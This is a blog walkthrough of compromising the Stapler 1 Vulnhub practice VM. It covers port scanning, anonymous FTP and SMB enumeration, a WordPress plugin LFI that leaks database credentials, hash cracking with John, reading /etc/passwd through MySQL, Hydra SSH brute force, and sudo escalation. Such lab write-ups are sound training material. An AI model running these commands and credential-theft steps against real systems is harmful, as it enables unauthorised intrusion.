Vulnhub: Stapler 1 Boot2Root VM



Today I’ll be documenting the process I followed to compromise the Stapler 1 vulnerable VM created by g0tmi1k and hosted with love by Vulnhub
Really, really enjoyed this box! Lots of fun twists, and I really loved the shenanigans on port 666 🙂

Port Scanning

As usual, we kick off with a TCP port scan of the target to see what’s listening.
root@kali:~# nmap -sV -T5 -p-
Starting Nmap 7.60 ( ) at 2018-02-12 21:42 GMT
Nmap scan report for
Host is up (0.00012s latency).
Not shown: 65523 filtered ports
20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp open domain dnsmasq 2.75
80/tcp open http PHP cli server 5.5 or later
123/tcp closed ntp
137/tcp closed netbios-ns
138/tcp closed netbios-dgm
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
666/tcp open doom?
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
A few interesting things pop out here –

  • Old version of vsftpd (potentially broken?)
  • dnsmasq (don’t see this often)
  • Non-Apache server on port 80
  • Samba (if mis-configured allows unauthenticated file reading)
  • Something running on port 666
  • Old version of MySQL (potentially broken?)
  • Apache server running on a random high port
Let’s go and find some treats, starting from the top.

FTP Server

As usual we’ll start off with checking for an anonymous login –
root@kali:~# ftp
Connected to
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
Name ( anonymous
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0             107 Jun 03  2016 note
226 Directory send OK.
Which was successful and yielded a file named ‘note’, let’s GET it and read it.


ftp> get note
local: note remote: note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (107 bytes).
226 Transfer complete.
107 bytes received in 0.07 secs (1.5061 kB/s)
ftp> exit
221 Goodbye.
root@kali:~# cat note
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

Very mysterious.. I tried logging in as Elly with a few default credentials but had no luck, so we’ll keep this for later.

There are no known vulnerabilities for this version of vsftpd, so not going to pursue that avenue for now.


Nothin’ useful

PHP CLI Server

Nothing particularly interesting here at first glance, just a 404 error page on almost any input. No XSS vulns present etc. dirb / nikto report that the user’s .profile and .bashrc files can be downloaded here but they don’t contain any sensitive info and none of the other common files are present (.ssh/id_rsa for example)


Finally, interesting stuff starts happening!

Running enum4linux on the host spews lots of output, but with one interesting nugget halfway down – a share named “kathy” with the description “What are we doing Fred?”.. Potential for a misconfigured share! Huzzah!

Let’s go poke it with “smbmap” and extract any treats which we find.

root@kali:~/smbtreats# smbmap -u '' -p '' -s kathy  -H -P 139 -R
[+] Finding open SMB ports....
[+] Guest RPC session established on
[+] IP: Name:                                    
 Disk                                                   Permissions
 ----                                                   -----------
 print$                                             NO ACCESS
 kathy                                              READ ONLY
 dr--r--r--                0 Fri Jun  3 17:52:52 2016 .
 dr--r--r--                0 Mon Jun  6 22:39:56 2016 ..
 dr--r--r--                0 Sun Jun  5 16:02:27 2016 kathy_stuff
 dr--r--r--                0 Sun Jun  5 16:04:14 2016 backup
 dr--r--r--                0 Sun Jun  5 16:02:27 2016 .
 dr--r--r--                0 Fri Jun  3 17:52:52 2016 ..
 -r--r--r--               64 Sun Jun  5 16:02:27 2016 todo-list.txt
 dr--r--r--                0 Sun Jun  5 16:04:14 2016 .
 dr--r--r--                0 Fri Jun  3 17:52:52 2016 ..
 -r--r--r--             5961 Sun Jun  5 16:03:45 2016 vsftpd.conf
 -r--r--r--          6321767 Mon Apr 27 18:14:45 2015 wordpress-4.tar.gz
 tmp                                                READ, WRITE
 dr--r--r--                0 Mon Feb 12 23:57:05 2018 .
 dr--r--r--                0 Mon Jun  6 22:39:56 2016 ..
 -r--r--r--              274 Sun Jun  5 16:32:58 2016 ls
 IPC$                                               NO ACCESS

So, as we can see here there’s a few files of interest in this output, namely –

  • todo-list.txt
  • vsftpd.conf (in the backup folder!)
  • wordpress-4.tar.gz
    • This one is especially interesting as it may contain passwords
  • both read and write access to the tmp share, which may give us a route to getting files onto the box (shells etc.)
Let’s go scrape everything with –
python /usr/share/smbmap/ -u '' -p ''  -H -P 139 -s kathy -R -A ".*"
and then inspect our loot.


  • todo-list.txt is empty
  • vsftpd.conf yielded nothing interesting
  • wordpress-4.tar.gz appears to be a vanilla install without passwords
  • ‘ls’ isn’t particularly interesting
So nothing here which will help us get a shell on the box by the look of it. Let’s park the Samba server for now and move onto the next service, which is………


(as classified by nmap 😉 )
Running netcat against doom yields a lot of binary data, which we output to a file.
root@kali:~/666# nc 666 > output 
root@kali:~/666# ll
total 20
drwxr-xr-x  2 root root  4096 Feb 18 12:33 .
drwxr-xr-x 36 root root  4096 Feb 18 12:29 ..
-rw-r--r--  1 root root 11608 Feb 18 12:33 output
root@kali:~/666# file output
output: Zip archive data, at least v2.0 to extract
root@kali:~/666# unzip output
Archive:  output
  inflating: message2.jpg
So the file returned by D0Om was actually a ZIP archive containing a single JPG file, which looks as follows:

Sooo… Nothing hugely exciting tbh. Running ‘strings’ on the file yields a bit of shenanigans but nothing which will help me pwn the box..

1If you are reading this, you should get a cookie!

Shenanigans, but not much use to us.

Next service.. Running out of ports!


The installed version of MySQL has 3 local privilege escalation vulnerabilities which we may be able to leverage later to get root! But nothing in the immediate term sadly. Onto the final service on the box..


This was really interesting and caused some hairpulling to occur… Basically navigating to the site in the browser yields a huge splash screen effectively saying “we’ll do better next year, nothing here lol”, dirb couldn’t find anything interesting, there was nothing interesting in the source code other than a message from HR to Zoe saying that they’d like to hire her (???).
Nikto reported two entries in robots.txt which should be viewed manually, but any attempt to view robots.txt sent me straight back to the giant splash screen page. Hrm.
I even went as far as adding another nameserver in resolv.conf pointing at the DNS server on the target box, which yielded nothing.
Five minutes later I spotted that the nikto output was talking about SSL misconfigurations and it twigged that Nikto was accessing a https version of the page which I didn’t know existed. Blargh.
robots.txt mentions “blogblog” and “admin112233” (they look like credentials don’t they 😉 )
Looking at the latter sends me to a snooty XSS PoC and tries to redirect me to xss-payloads[.]com (didn’t work as I’m using a host-only VM network) so let’s look at /blogblog instead.
Side note: The point of this rambling paragraph is to show that I don’t have all (or even most) of the answers and it’s probably nice for you as a reader to see where I screw things up!

Rerunning dirb on the correct protocol yielded a couple of extra treats, a PhpMyAdmin install at /phpmyadmin and an announcements folder containing a message to Abby saying “Abby, we need to link the folder somewhere! Hidden at the mo”.. Could come in handy later.


This is a WordPress blog (as proven by navigating to /wp-admin, and hinted at by the WordPress backup we found earlier), running “wpscan” on it hints that the site is screwed – hugely outdated and lots of authenticated vulnerabilities are present.
I spent some time poking around the blog / the admin login and couldn’t find any valid credentials sadly, ditto the PhpMyAdmin login.
I spent an age trying different things here.. wpscan’s enumerate users option, going back to the /tmp upload vulnerability which we found in samba, using the output of wpscan’s user enumeration to brute force ssh, ftp and mysql passwords and got completely stuck.
I’m ashamed to say that at this point I read the slide-deck which accompanied this VM to get the next little pointer to send me on my way. Note to the reader – I hate doing this, it feels like “cheating” and I hope that as my skills continue to improve I won’t need to use such “cheats”.
The slide-deck mentioned a vulnerable WP plugin which I’d completely skipped over while enumerating the site. I found an exploit here  and modified it to allow SSL rather than plain old http. This was done by creating a default, insecure SSL context for urllib to use. Google that for more details, it was pretty straight forward.
The exploit actually only partially worked, it performed the LFI perfectly but didn’t return results.. But the wp-config files were there clear as day on the frontend luckily, just had to find the broken thumbnail links on the .jpeg link and then curl them.
root@kali:~/smbtreats# curl -k
 * The base configurations of the WordPress.
 * SNIP!!!
 * @package WordPress
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'plbkac');

/** MySQL hostname */
define('DB_HOST', 'localhost');

OK so now we’ve got a mysql password, let’s use it to get additional treats!

First up, login to MySQL with “mysql -u root -pplbkac -h”

We then dutifully copy these into a file in the format of “username:hash” and give them to John the Ripper to crack for us.

root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt wp_loot2
Using default input encoding: UTF-8
Loaded 16 password hashes with 16 different salts (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Remaining 11 password hashes with 11 different salts
Press 'q' or Ctrl-C to abort, almost any other key for status
coolgirl         (kathy)
washere          (barry)
incorrect        (John)
thumb            (tim)
ylle             (elly)
TOM              (Simon)

John’s identified the key password for us – John’s 😉

Now I thought that this’d be a done deal, but sadly not as the naughty root user has made the WordPress directory read only, so we can’t upload a webshell. Bleh!

Thinking around corners a little, we can try and read the passwd file using “select load_file(“/etc/passwd”);” and then use that to attempt to bruteforce ssh sessions on the box using the passwords which john has output for us.

We use Hydra, using the following syntax “hydra -L usernamesFromPasswdFile -P passwordsFromJohn -e nsr -t 5 ssh://”

Some time later, a valid password combo pops out for one of the users in the passwd file (SHayslett:SHayslett) so we’ll SSH in as that.

Sadly this user has no privileges at all, and running “unix-privesc-check” yields no treats other than a world writeable WWW directory (which it turns out is where port 80 is pulling files from! That’s of no use to us now as we’ve already got a nice shiny SSH session open.)

At this point I spent a long LONG time wondering what to do, eventually I stopped being an idiot and spent some time enumerating the other user’s home directories. Eventually I found a .bash_history file in JKanode’s home directory which randomly contained user Peter’s password.

This is useful as user Peter has a file named “.sudo_as_admin_successful” in his home directory.. Implying that he can run stuff as root.

Using our newly found password to “su – JKanode” and running “sudo -l” we spot that peter can run anything as root, including “sudo su -” to become root.

Done! We can now read “flag.txt” in root’s home directory, which contains –



Really, really fun box! I’m a little ashamed that I had to seek help with the WordPress plugin section, but as I said above – hopefully as my skills improve then that won’t be necessary in the future.
As always, I need to Try Harder!

Add a Comment

Your email address will not be published. Required fields are marked *

I accept that my given data and my IP address is sent to a server in the USA only for the purpose of spam prevention through the Akismet program.More information on Akismet and GDPR.